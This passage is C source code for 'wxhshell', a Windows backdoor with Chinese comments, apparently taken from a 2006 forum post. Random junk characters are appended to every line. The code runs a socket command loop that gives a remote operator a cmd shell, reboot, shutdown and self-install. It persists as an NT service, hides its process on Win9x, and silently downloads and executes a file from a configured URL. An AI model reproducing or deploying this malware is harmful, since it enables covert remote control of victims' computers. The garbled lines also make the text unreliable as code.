  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &mdB\Y?^  
  else QTE:K?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /GN4I!LA  
  } -=sf}4A  
  else { OfJd/D  
}Aw47;5q;  
    switch(cmd[0]) { j.B>v\b_3  
  l=NAq_?N\  
  // 帮助 !t% Q{`p  
  case '?': { qK,V$l(4#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @() {/cF  
    break; KC]tY9 FK  
  } H0+:XF\M  
  // 安装 q0g1E Jar  
  case 'i': { eo ?Oir)  
    if(Install()) B/G3T u uG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <p/MyqZf  
    else \OA L Or  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ih3$  
    break; 6%UY1Q.?  
    } \ j:AR4  
  // 卸载 xG w?'\  
  case 'r': { & +]x;K  
    if(Uninstall()) B\/7^{i5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o X@nP?\  
    else N3Z@cp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yf?W^{^|  
    break; ^}hZ'<PK  
    } U3+A MVnB  
  // 显示 wxhshell 所在路径 Bz:&f46{  
  case 'p': { %",ULtZ+  
    char svExeFile[MAX_PATH]; ]zcV]Qj$~  
    strcpy(svExeFile,"\n\r"); C#h76fpH  
      strcat(svExeFile,ExeFile); i pwW%"6  
        send(wsh,svExeFile,strlen(svExeFile),0); qw2)v*Fn  
    break; XECikld>  
    } s6/cL|Ex  
  // 重启 2m_H*1 HJ  
  case 'b': { 0mVuD\#=!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mt I MW9  
    if(Boot(REBOOT)) 0Nt%YP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*:h9AE7vo  
    else { 8m|x#*5fQl  
    closesocket(wsh); 7JS#a=D#  
    ExitThread(0); &urb!tQ>&  
    } gW}}5Xq  
    break; eVrNYa1>H  
    } (rIXbekgB  
  // 关机 ,# eO&  
  case 'd': { Lrlk*   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FCAJavOGH  
    if(Boot(SHUTDOWN)) H4 =IY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1jSUkqb  
    else { I:HV6_/^-G  
    closesocket(wsh); $YPQC  
    ExitThread(0); #r(a~  
    } ;M-,HK4=  
    break; j C9<hLt  
    } %]!?{U\*k  
  // 获取shell ExQ--!AC=  
  case 's': { w~]} acP  
    CmdShell(wsh); F=: c5z  
    closesocket(wsh); $82zyq  
    ExitThread(0); >j- b5g"g  
    break; 7> )l{7  
  } jOtzx"/)rE  
  // 退出 N" ;^S  
  case 'x': { g4Bg6<;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PK8V2Ttv  
    CloseIt(wsh); Rd0?zEKV  
    break; B]i+,u  
    } "(N-h\7Ex9  
  // 离开 D"'#one  
  case 'q': { Rn8#0%/Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^>eFm8`N  
    closesocket(wsh); Nl=+.d6 Qo  
    WSACleanup(); /CbkqNV  
    exit(1); r &=r/k2  
    break; WFXx70n  
        } pIL`WE1'  
  }  *6'_5~G  
  } hl}dgp((  
[-QK$~[ g  
  // 提示信息 h%u? lW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sw[=S '(l  
} P^ by'b+zI  
  } HaS[.&\S0  
uQ-WTz|*  
  return; ,~iFEaV+  
} 80cm6?,xu  
8XgVY9]Qm  
// shell模块句柄 7@3M]5:3g  
int CmdShell(SOCKET sock) r!>es;R8  
{ lf}?!*V`+  
STARTUPINFO si; \#HL`R"  
ZeroMemory(&si,sizeof(si)); N#mK7|\c?:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dfnX!C~6\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]D?oQ$q7  
PROCESS_INFORMATION ProcessInfo; p<ry$=`  
char cmdline[]="cmd"; N%: D8\qx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @i;LZa  
  return 0; 2~+'vi  
} MuN [U17FB  
+h9`I/R  
// 自身启动模式 !P+~ c0DF  
int StartFromService(void) O'Vh{JHf  
{ 8}]l9"q(  
typedef struct 3huzz<n3  
{ +HYN$>  
  DWORD ExitStatus; N <ja6Ac  
  DWORD PebBaseAddress; x[zKtX  
  DWORD AffinityMask; 54bF) <+  
  DWORD BasePriority; Q^\{Zg)p  
  ULONG UniqueProcessId; `;R|V  
  ULONG InheritedFromUniqueProcessId; ;9 lqSv/6  
}   PROCESS_BASIC_INFORMATION; &0?DL  
@:I \\S@bN  
PROCNTQSIP NtQueryInformationProcess; 4+ykE:  
[<,0A]m   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X*(gT1"t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *vEU}SxRuv  
xtG)^x!  
  HANDLE             hProcess; $eTv6B?m  
  PROCESS_BASIC_INFORMATION pbi; h4B+0  
r@\,VD6J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g4?Q.'dZr  
  if(NULL == hInst ) return 0; mOABZ#+Fk  
"87O4 #$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x A@|I#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =lw4 H_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9_I[o.q   
o<9yaQ;  
  if (!NtQueryInformationProcess) return 0; _gis+f/8h  
3( >(lk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `kI?Af*;v  
  if(!hProcess) return 0; !]n{l_5r  
;2+ FgOj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9CgXc5  
r! cNc  
  CloseHandle(hProcess); vy>];!Cu  
30wYc &H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o;HdW  
if(hProcess==NULL) return 0; h'z+8X_t  
OLhWkN,qA  
HMODULE hMod; T<w*dX7F0K  
char procName[255]; cN0~;!{i  
unsigned long cbNeeded; XY&]T'A  
h Kp,4D>2_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^^20vwq  
n#/U@qVgc  
  CloseHandle(hProcess); v]UU&Jq8U  
lyMJW }T+>  
if(strstr(procName,"services")) return 1; // 以服务启动 3 LZL!^ 5N  
[M,27  
  return 0; // 注册表启动 )eIz{Mdp=  
} eWqVh[  
BVwRPt  
// 主模块 RBMMXJj  
int StartWxhshell(LPSTR lpCmdLine) 3}.mp}K 5  
{ U~JG1#z6  
  SOCKET wsl; >n@>h$]  
BOOL val=TRUE; 3M`hn4)K  
  int port=0; uaZ"x& oZ#  
  struct sockaddr_in door; *)}Ap4[  
=N[V{2}q  
  if(wscfg.ws_autoins) Install();  (9'G  
o}j_eH l{  
port=atoi(lpCmdLine); 'Kt4O9=p  
%Hh &u .  
if(port<=0) port=wscfg.ws_port; < |]i  
Rz])wBv e  
  WSADATA data; S|z(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =X%R*~!#Of  
!/=9VD{U!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =l?"=HF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wd2P/y42;;  
  door.sin_family = AF_INET; W? 6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <Bob#Tf ~  
  door.sin_port = htons(port); 8Pnqmjjj  
.wt>.mUH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~I8"l@H>  
closesocket(wsl); ~]i]kU   
return 1; }(vOaD|k=  
} {U+9,6.`  
MFCbx>#  
  if(listen(wsl,2) == INVALID_SOCKET) { pXh^M{.  
closesocket(wsl); )KTWLr;  
return 1; i85+p2i7  
} hz>yv@1  
  Wxhshell(wsl); S{`!9Pii  
  WSACleanup(); F?+Uar|-a  
|tolgdj  
return 0; M7cI$=G  
'6Z/-V4k  
} Xbsj:Ko]]U  
A<*tn?M]  
// 以NT服务方式启动 S3JygN*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dKN3ZCw*gF  
{ TnZc.  
DWORD   status = 0; l,FG:"`Z@  
  DWORD   specificError = 0xfffffff; SjNwT[.nr7  
G+ \~rl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !]jNVg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; * zJiii  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M%Kx{*aw&  
  serviceStatus.dwWin32ExitCode     = 0; DlQ[}5STF  
  serviceStatus.dwServiceSpecificExitCode = 0; b$$L]$q2  
  serviceStatus.dwCheckPoint       = 0; *Tlws  
  serviceStatus.dwWaitHint       = 0; /n<Ncf  
9O 0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j{Qbzczy,  
  if (hServiceStatusHandle==0) return; &&QDEDszp  
hnfrnYH  
status = GetLastError(); ?6l,   
  if (status!=NO_ERROR) 3vvFF]D5k  
{ _`Yvfz3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #\!hBL @b  
    serviceStatus.dwCheckPoint       = 0; "l2N_xX;  
    serviceStatus.dwWaitHint       = 0; [7 Kj$PB3  
    serviceStatus.dwWin32ExitCode     = status; gWU(uBS  
    serviceStatus.dwServiceSpecificExitCode = specificError; q_m#BE;t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WTy8N  
    return; e[VJ0 A=  
  } /v5g;x_T  
JD\-X(O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;]`NR  
  serviceStatus.dwCheckPoint       = 0; 3Jk?)D y  
  serviceStatus.dwWaitHint       = 0; >=q!!'$:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6[Pr<4J  
} %_X[{(  
=w>>7u$4  
// 处理NT服务事件,比如:启动、停止 bMK'J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MdTd$ 4J3  
{ )*QTxN  
switch(fdwControl) OmUw.VH  
{ Zn=JmZ  
case SERVICE_CONTROL_STOP: `a1R "A  
  serviceStatus.dwWin32ExitCode = 0; vEee/+1?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A"T. nqB^y  
  serviceStatus.dwCheckPoint   = 0; #}]il0d  
  serviceStatus.dwWaitHint     = 0; 3E2.v5*  
  { fB ,!|u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2*",{m  
  } h/y}  
  return; -r2qIt  
case SERVICE_CONTROL_PAUSE: BKlc{=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *]UEF_  
  break; . L6@Rs  
case SERVICE_CONTROL_CONTINUE: y7L4jO9h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >A@D;vx  
  break; >~bj7M6t  
case SERVICE_CONTROL_INTERROGATE: bJMcI8`  
  break; ST [1'T+L  
};  #,9TJ:~N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7J_f/st  
} Y Z2VP  
j!8+|eA kk  
// 标准应用程序主函数 {,mRMDEy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v}*u[GWl]  
{ N)I T?  
PHL@1K{)  
// 获取操作系统版本 xTawG?"D  
OsIsNt=GetOsVer(); >yHnz?bf@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !?-5 hh1\  
r#Oz0=0u  
  // 从命令行安装 _w,0wn9N$  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ak-7}i  
'!L1z45  
  // 下载执行文件 xwp?2,<  
if(wscfg.ws_downexe) { WatLAn+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9TN5|x  
  WinExec(wscfg.ws_filenam,SW_HIDE); ML"P"&~u6  
} f?I *`~k  
jHw2Q8s|R  
if(!OsIsNt) { A-`J!xj#/  
// 如果时win9x,隐藏进程并且设置为注册表启动 =Bqa <Js  
HideProc(); ~acK$.#  
StartWxhshell(lpCmdLine); B91PlM.  
} G+^$JN=  
else _!p$47  
  if(StartFromService()) eu|q {p  
  // 以服务方式启动 e ;u8G/  
  StartServiceCtrlDispatcher(DispatchTable); 4W-+k  
else 1E_Ui1[  
  // 普通方式启动 g~D6.OZU  
  StartWxhshell(lpCmdLine); Nn7@+g)  
y8n1IZ*#SZ  
return 0; TFA  
}
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只看该作者 1 发表于: 2006-10-10
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